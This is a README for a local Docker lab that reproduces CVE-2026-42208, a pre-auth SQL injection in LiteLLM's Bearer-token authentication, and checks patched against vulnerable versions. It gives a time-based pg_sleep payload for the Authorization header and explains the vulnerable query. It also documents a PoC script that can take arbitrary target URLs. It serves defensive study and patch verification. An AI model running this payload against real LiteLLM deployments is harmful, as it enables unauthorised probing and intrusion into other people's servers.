## https://sploitus.com/exploit?id=32A1B1D3-305F-55B1-819C-5248A106C5B4
# CVE-2026-42208 โ LiteLLM Pre-Auth SQL Injection Lab
A local lab for studying, reproducing, and verifying the patch for CVE-2026-42208: an unauthenticated SQL injection in LiteLLM's API key authentication path.
## Vulnerability Summary
LiteLLM's authentication middleware passes the raw Bearer token directly into a PostgreSQL query without parameterization when the token does not follow the `sk-` prefix path. An attacker can inject arbitrary SQL via the `Authorization` header on any endpoint โ no credentials required.
**Affected endpoint:** Any authenticated endpoint (e.g. `POST /v1/chat/completions`)
**Injection point:** `Authorization: Bearer `
**Proof technique:** Time-based blind โ `' OR (SELECT pg_sleep(N)) IS NULL --`
**Fixed in:** v1.83.7
---
## Lab Instances
| Port | Version | Image | Status |
|------|---------|-------|--------|
| 8081 | v1.81.14 | `ghcr.io/berriai/litellm:v1.81.14-stable` | Stable |
| 8082 | v1.83.3 | `ghcr.io/berriai/litellm-database:main-v1.83.3-stable.patch.3` | Vulnerable |
| 8083 | v1.83.6 | `ghcr.io/berriai/litellm-database:v1.83.6-nightly` | Vulnerable |
| 8084 | v1.83.7 | `ghcr.io/berriai/litellm-database:v1.83.7-stable` | Patched |
| 8085 | v1.86.0 | `ghcr.io/berriai/litellm-database:v1.86.0` | Patched |
**Master key (all instances):** `sk-local-fake-master-key`
---
## Prerequisites
- Docker Desktop (with Compose v2)
- Python 3.9+ (for the PoC scripts)
---
## Setup
```bash
# First run โ build images and wipe any old volumes
docker compose down -v
docker compose up --build -d
# Check all services are healthy
docker compose ps
# Watch seeder logs to confirm seed keys were created
docker compose logs -f seed-v1.81.14 seed-v1.83.3 seed-v1.83.6 seed-v1.83.7 seed-v1.86.0
```
> **Why seeding is required:** The SQL injection payload only fires when `LiteLLM_VerificationToken` has at least one row. PostgreSQL skips `WHERE` clause evaluation entirely on empty tables, so `pg_sleep()` never executes. Each `seed-*` service calls `/key/generate` via the LiteLLM API after startup to create a properly hashed token โ exactly what a real deployment would have.
---
## Running the PoC
### Single target
```bash
python poc2.py --url http://127.0.0.1:8083
```
### All instances at once (using targets.json)
```bash
python poc2.py --targets targets.json
```
### Options
| Flag | Default | Description |
|------|---------|-------------|
| `--url` | โ | Single target base URL |
| `--targets` | โ | JSON file with `[{url, name}, ...]` entries |
| `--path` | `/v1/chat/completions` | API path to test |
| `--sleep` | `6` | `pg_sleep()` duration in seconds |
| `--rounds` | `2` | Number of probe rounds per target |
### Expected output
**Vulnerable instance** โ probe takes ~6 s longer than baseline:
```
[baseline] status=401 elapsed=0.041s ...
[probe] round=1 status=401 elapsed=6.089s ...
baseline=0.041s median=6.089s delta=6.048s
result=LIKELY VULNERABLE
```
**Patched instance** โ no timing difference:
```
[baseline] status=401 elapsed=0.038s ...
[probe] round=1 status=401 elapsed=0.042s ...
baseline=0.038s median=0.042s delta=0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
```
---
## How the Injection Works
The vulnerable code path builds the lookup query with raw string interpolation:
```python
# Simplified โ vulnerable versions only
query = f"SELECT * FROM \"LiteLLM_VerificationToken\" WHERE token = '{raw_token}'"
```
Sending `' OR (SELECT pg_sleep(6)) IS NULL -- ` as the Bearer token produces:
```sql
SELECT * FROM "LiteLLM_VerificationToken"
WHERE token = '' OR (SELECT pg_sleep(6)) IS NULL -- '
```
The `OR` condition is always true, so every row matches โ and `pg_sleep(6)` executes once per row before returning. The patched versions use parameterized queries, so the payload is treated as a literal string and the subquery never runs.
---
## Project Structure
```
CVE-2026-42208-LAB/
โโโ docker-compose.yaml # All services: DBs, LiteLLM instances, seeders
โโโ targets.json # Target list for poc2.py --targets
โโโ poc2.py # Timing-based PoC (single or multi-target)
โโโ poc.py # Alternative PoC with extended options
โโโ seed.sql # Reference โ documents the seeding rationale
โโโ v1.81.14/
โ โโโ Dockerfile
โ โโโ litellm_config.yaml
โโโ v1.83.3/
โ โโโ Dockerfile
โ โโโ litellm_config.yaml
โโโ v1.83.6/
โ โโโ Dockerfile
โ โโโ litellm_config.yaml
โโโ v1.83.7/
โ โโโ Dockerfile
โ โโโ litellm_config.yaml
โโโ v1.86.0/
โโโ Dockerfile
โโโ litellm_config.yaml
```
---
## Teardown
```bash
# Stop and remove containers (keep volumes)
docker compose down
# Stop and remove everything including volumes
docker compose down -v
```